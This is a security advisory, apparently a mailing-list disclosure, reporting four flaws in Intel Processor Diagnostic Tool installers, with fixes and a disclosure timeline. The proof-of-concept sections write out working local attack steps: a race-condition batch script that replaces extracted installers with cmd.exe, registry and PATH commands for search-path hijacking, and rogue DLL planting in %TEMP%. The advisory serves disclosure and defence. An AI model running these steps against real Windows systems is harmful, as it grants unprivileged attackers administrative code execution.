Hi @ll,

the executable installers of Intel's Processor Diagnostic Tool
(IPDT) before v4.1.0.27 have three vulnerabilities^Wbeginner's
errors which all allow arbitrary code execution with escalation
of privilege, plus a fourth which allows denial of service.

Intel published advisory SA-00140
<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html>
on 2018-06-27 and updated installers on 2018-05-18.


The vulnerabilities can be exploited in standard installations
of Windows where the user^WUAC-"protected administrator" account
created during Windows setup is used, without elevation.
This precondition holds for the majority of Windows installations:
according to Microsoft's own security intelligence reports
<https://www.microsoft.com/security/sir>, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry data
have only ONE active user account.


#1 Denial of service through insecure file permissions
======================================================

   The downloadable executable installer (really: executable
   self-extractor built with WinZIP) IPDT_Installer_4.1.0.24.exe
   creates a subdirectory with random name in %TEMP%, copies
   itself into this subdirectory and then executes its copy.

   The subdirectory inherits the NTFS ACLs from its parent
   %TEMP%, and so does the copy of the executable self-extractor.

   For this well-known and well-documented vulnerability see
   <https://cwe.mitre.org/data/definitions/377.html> and
   <https://cwe.mitre.org/data/definitions/379.html> plus
   <https://capec.mitre.org/data/definitions/29.html>


   Proof of concept/demonstration:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   1. download IPDT_Installer_4.1.0.24.exe (quite some clueless
      copycats still offer it, violating Intel's copyright;
      <http://d.computerbild.de/downloads/7835763/IPDT_Installer_4.1.0.24.exe>)
      and save it in your "Downloads" directory";

   2. add the NTFS access control list entry (D;OIIO;WP;;;WD)
      meaning "deny execution of files in this directory for
      everyone, inheritable to files in all subdirectories"
      to the (user's) %TEMP% directory.

   3. execute IPDT_Installer_4.1.024.exe: notice the complete
      failure of the executable installer^Wself-extractor,
      WITHOUT error message!


#2 Escalation of privilege through insecure file permissions
============================================================

   Although the (copy of the) executable self-extractor runs with
   administrative privileges (its embedded "application manifest"
   specifies 'requireAdministrator'), it extracts its payload, the
   REAL installers setup.exe and setup64.exe, plus the batch script
   setup.bat, UNPROTECTED into the user's %TEMP% directory, CD's
   into %TEMP% and finally executes the extracted batch script
   %TEMP%\setup.bat:

   --- setup.bat ---
   echo off

   ver | findstr 6.1.7600
   if %errorlevel%==0 goto WinUnsup

   ver | findstr 6.0.6001
   if %errorlevel%==0 goto WinUnsup

   if "%programfiles(x86)%XXX"=="XXX" goto 32BIT

   :64BIT
   setup64.exe
   goto END

   :32BIT
   setup.exe
   goto END

   :WinUnsup
   echo Intel Processor Diagnostic Tool cannot be installed on this Operating System
   echo Please go to Online support page to view list of supported Oerating Systems

   pause

   :END
   exit 0
   --- EOF ---

   The extracted files inherit the NTFS ACLs from their parent
   %TEMP%, allowing "full access" for the unprivileged (owning)
   user, who can replace/overwrite the files between their creation
   and execution.

   Since the files are executed with administrative privileges,
   this vulnerability results in arbitrary code execution with
   escalation of privilege.


   Proof of concept/demonstration:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   1. create the following batch script in an arbitrary directory:

      --- IPDT.CMD ---
      :LOOP1
      @If Not Exist "%TEMP%\setup.exe" Goto :LOOP1

      Echo >"%TEMP%\setup.bat" WhoAMI.exe /all
      Echo >>"%TEMP%\setup.bat" Pause

      :LOOP2
      @If Not Exist "%TEMP%\setup64.exe" Goto :LOOP2

      Copy /Y %COMSPEC% "%TEMP%\setup.exe"

      :LOOP3
      @Copy %COMSPEC% "%TEMP%\setup64.exe"
      @If ERRORLEVEL 1 Goto :LOOP3
      --- EOF ---

   NOTE: the batch script needs to win a race (which it almost
         always will, due to the size of the files extracted).

   2. execute the batch script per double-click;

   3. execute IPDT_Installer_4.1.024.exe per double-click: notice
      the command processor started instead one of the executable
      installers, running with administrative privileges.


#3 Escalation of privilege through unsafe search path
=====================================================

   In Windows Vista and newer versions, the current working
   directory can be removed from the executable search path:
   <https://msdn.microsoft.com/en-us/library/ms684269.aspx>

   The batch script setup.bat calls setup.exe and setup64.exe
   without a path, so the command processor doesn't find the
   extracted setup.exe and setup64.exe in its CWD and searches
   them via %PATH%.

   %PATH% is under full control of the unprivileged user, who
   can create rogue setup.exe and setup64.exe in an arbitrary
   directory he adds to the %PATH%, resulting again in arbitrary
   code execution with escalation of privilege.

   For this well-known and well-documented vulnerability see
   <https://cwe.mitre.org/data/definitions/426.html> and
   <https://cwe.mitre.org/data/definitions/427.html> plus
   <https://capec.mitre.org/data/definitions/471.html>.


   Proof of concept/demonstration:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   1. start an unprivileged command prompt in an arbitrary
      directory where the unprivileged user can create files,
      for example the user's "Downloads" directory;

   2. add this (current working) directory to the user's PATH:

      PATH %CD%;%PATH%
      REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F

   3. copy the command processor %COMSPEC% (or any rogue executable
      of your choice) as setup.exe and setup64.exe into the current
      (working) directory:

      COPY %COMSPEC% "%CD%\setup.exe"
      COPY %COMSPEC% "%CD%\setup64.exe"

   4. set the environment variable NoDefaultCurrentDirectoryInExePath
      to an arbitrary value:

      SET NoDefaultCurrentDirectoryInExePath=*
      REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D "*" /F

   5. execute IPDT_Installer_4.1.024.exe per double-click: notice
      the command processor started instead of the extracted
      executable installers, running with administrative privileges.


#4 Escalation of privilege through DLL search order hijacking
=============================================================

   The extracted executable installers setup.exe and setup64.exe,
   built with the crapware known as InstallShield, load multiple
   Windows system DLLs from their "application directory" %TEMP%
   instead from Windows' "system directory" %SystemRoot%\System32\

   To quote Raymond Chen
   <https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203>

   | a rogue DLL in the TEMP directory is a trap waiting to be sprung.

   An unprivileged attacker running in the same user account can
   copy rogue DLLs into %TEMP%; these are loaded and their DllMain()
   routine executed with administrative privileges, once more
   resulting in arbitrary code execution with escalation of privilege.

   For this well-known and well-documented vulnerability see
   <https://cwe.mitre.org/data/definitions/426.html> and
   <https://cwe.mitre.org/data/definitions/427.html> plus
   <https://capec.mitre.org/data/definitions/471.html>.


   Proof of concept/demonstration:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   1. follow the instructions from
      <https://skanthak.homepage.t-online.de/minesweeper.html>
      and build a minefield of forwarder DLLs in your %TEMP%
      directory;

   NOTE: if you can't or don't want to build the minefield, download
         <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
         and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and
         MSI.dll in your %TEMP% directory.

   2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes
      displayed from the DLLs built in step 1!

   NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at
         least the following 32-bit DLLs from %TEMP%:
         UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll

         Due to its filename, setup.exe additionally loads WinMM.dll,
         SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and
         MPR.dll.


Fix:
====

1. DUMP all those forever vulnerable executable installers and
   self-extractors; provide an .MSI package or an .INF script plus
   a .CAB archive instead!

2. NEVER use an unqualified filename to execute/load an application
   or a DLL, ALWAYS specify their fully qualified pathname!


Mitigations:
============

1. DON'T execute executable self-extractors.

2. NEVER execute executable self-extractors with administrative
   privileges.

3. extract the payload of the self-extractor with a SAFE and SECURE
   unzip.exe into a properly protected directory.

4. exercise STRICT privilege separation: use separate unprivileged
   user accounts and privileged administrator account, DISABLE the
   "security theatre" UAC in the unprivileged user accounts.


stay tuned
Stefan Kanthak


PS: the "portable executable" IPDT_Installer_4.1.024.exe has an
    export directory, but does NOT export any symbols: both the
    numbers of names and functions are 0, and the RVAs of the
    functions, names and ordinals arrays are 0 too.


Timeline:
=========

2018-03-28    sent vulnerability report to <secure@intel.com>

              no reply, not even an acknowledgement of receipt

2018-04-05    resent vulnerability report to <secure@intel.com>,
              CC: to CERT/CC

              no reply, not even an acknowledgement of receipt

2018-05-03    resent vulnerability report via HackerOne

2018-05-04    Intel acknowledges receipt

2018-05-17    Intel confirms the reported vulnerabilities

2018-05-21    Intel publishes fixed installers, with a dangling
              reference to SA-00140 in the release notes, plus
              inaccuracies regarding the dependencies of IPDT

              NO notification sent to me that fixes have been
              published!

2018-06-05    sent report about the errors in the release notes
              after stumbling over the fixes

2018-06-12    Intel acknowledges the report regarding the notes

2018-06-27    Intel publishes their advisory SA-00140

              AGAIN no notification sent that the advisory has
              been published!
              Intel's understanding of coordinated disclosure
              looks rather weird to me.